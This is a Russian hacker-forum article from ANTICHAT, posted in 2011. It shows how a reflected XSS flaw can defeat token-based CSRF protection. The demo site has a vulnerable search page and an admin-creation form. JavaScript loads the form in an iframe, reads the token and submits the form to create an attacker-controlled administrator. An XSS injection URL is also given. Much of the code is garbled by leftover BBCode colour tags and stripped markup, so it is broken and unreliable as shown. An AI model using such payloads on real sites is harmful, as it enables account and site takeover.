HOME FORUMS MEMBERS RECENT POSTS LOG IN  
× Авторизация
Имя пользователя:
Пароль:
Нет аккаунта? Регистрация
Баннер 1   Баннер 2
НОВЫЕ ТОРГОВАЯ НОВОСТИ ЧАТ
loading...
Скрыть
Вернуться   ANTICHAT > ИНФО > Статьи
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

  #1  
Старый 05.05.2011, 22:18
eclipse
Участник форума
Регистрация: 19.12.2010
Сообщений: 155
С нами: 8103926

Репутация: 85
По умолчанию

В этой статье я хочу рассказать о том, как можно обойти защиту от CSRF.

Конкретизируя скажу, метод защиты который будем обходить - использование токенов.

Этот метод защиты прост как фиг знает что:

Сервер генерирует токен, он ставится на страницу с формами, когда юзер заполняет форму и отправляет результат серверу, там происходит проверка на идентичность токена который хранится на сервере и того что пришел от юзера, если не совпадают, запрос на выполнение действия отменяется.

В этой статье я не буду писать что такое xss и что такое csrf, если вы не знаете про данные типы уязвимостей - гугл к вашим услугам.

Итак, имеется некий сайт, на сайте следующие файлы:

  • index.php - главная страница с уязвимым для xss полем
  • newadmin.php - страница с формой для создания нового админа
  • compare.php - php код выполняющий указанное действие


Содержимое этих файлов:

index.php

PHP код:
[COLOR="#000000"]





Поиск







[COLOR="#0000BB"]











[/COLOR][/COLOR
newadmin.php

PHP код:
[COLOR="#000000"]





Добавление нового администратора













[/COLOR][COLOR="#DD0000"]" />





[/COLOR][/COLOR] 
compare.php

PHP код:
[COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#007700"]

[/
COLOR][/COLOR
Теперь подумаем, причем тут XSS? - А при том, что с помошью JavaScript мы можем получть доступ к исходному коду загруженной страницы, а также выполнять такие действия как например отправка формы и тп.

Также следует учесть что наша XSS находится на том же сайте, и все что будет твориться в XSS будет таким же, как например то, что творится для авторизованного юзера у которого запущена эта XSS, т.е XSS работает от лица запустившего код пользователя (жертвы), а значит токен "в глазах" кода внедренного с помошью XSS будет таким же, каким он будет и для неосторожного но авторизованного юзера. Надеюсь вы поняли о чем я =)

Следовательно, если мы имеем XSS, мы можем загрузить защищенную от CSRF токеном страницу в память, прочесть ее, отпарсить и вытащить токен.

Чтобы сделать это можно использовать два варианта

  • 1.Отправить http заголовки (рефферер, куки и тд) на подготовленный скрипт, который пошлет GET запрос, прочитает ответ, и отпарсит заветный токен.
  • 2.Загрузить страницу в iframe и обратиться к объекту содержащему токен.


Так, как первый вариант - муть и лишняя трата времени, пойдем по пути наименьшего сопротивления, т.е по рассмотрим пункт 2.

Итак у нас есть XSS в запросе,

Код:
index.php?stext=">alert(/xss/)
Нам нужно внедрить код который будет делать то, о чем написано в названии статьи.

Чтобы не мозолить глаза - создадим файл с именем js.js и положим туда код который будет открывать страницу newadmin.php, читать токен и передавать его на скрипт compare.php:

PHP код:
[COLOR="#000000"][COLOR="#0000BB"]document[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]write[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]''[/COLOR][COLOR="#007700"]);

function[/
COLOR][COLOR="#0000BB"]doit[/COLOR][COLOR="#007700"]()

{

var[/COLOR][COLOR="#0000BB"]name[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#DD0000"]'NICK'[/COLOR][COLOR="#007700"];

var[/COLOR][COLOR="#0000BB"]token[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]document[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]getElementById[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]"iframe"[/COLOR][COLOR="#007700"]).[/COLOR][COLOR="#0000BB"]contentDocument[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]forms[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#0000BB"]0[/COLOR][COLOR="#007700"]].[/COLOR][COLOR="#0000BB"]token[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]value[/COLOR][COLOR="#007700"];

[/
COLOR][COLOR="#0000BB"]document[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]write[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]''[/COLOR][COLOR="#007700"]);

[/
COLOR][COLOR="#0000BB"]document[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]write[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]'
'
[/COLOR][COLOR="#007700"]);

[/
COLOR][COLOR="#0000BB"]document[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]write[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]''[/COLOR][COLOR="#007700"]);

[/
COLOR][COLOR="#0000BB"]document[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]write[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]'
'
[/COLOR][COLOR="#007700"]);

[/
COLOR][COLOR="#0000BB"]document[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]write[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]''[/COLOR][COLOR="#007700"]);

[/
COLOR][COLOR="#0000BB"]document[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]forms[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#0000BB"]0[/COLOR][COLOR="#007700"]].[/COLOR][COLOR="#0000BB"]submit[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]click[/COLOR][COLOR="#007700"]();

}

[/
COLOR][/COLOR
В принципе это все, теперь вы можете обратиться по адресу

Код:
index.php?stext=">alert(/Уря!/)
и получить админа или еще чего

Вывод:

Статья показывает что любая защита от CSRF станет бесполезной при "правильном" подходе к XSS


P.S. В процессе написания статьи я наткнулся на аналогичное исследования некоего хакера из rstcenter.com, просмотрев его статью увидел там практически то же что делал и я, но учитывая то, что я не основывался на его статье, и моя идея пришла ко мне извне, оставляю копирайты за собой

О rstcenter.com говорю для того, чтобы потом меня не упрекали в плагиате! Это не плагиат! Это как попов и еще какой то придумали радио одновременно!

Кстати я думал перевести может его статью, но она на 80% состояла из того что такое xss и что такое csrf, а в правилах нашего форума ясно сказано - нельзя изменять статьи чужих авторов


Короче не вините, за то, что опоздал

С Уважением,

eclipse
 
Ответить с цитированием
Ответ



Предыдущая тема Следующая тема

Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT ™ © 2001- Antichat Kft.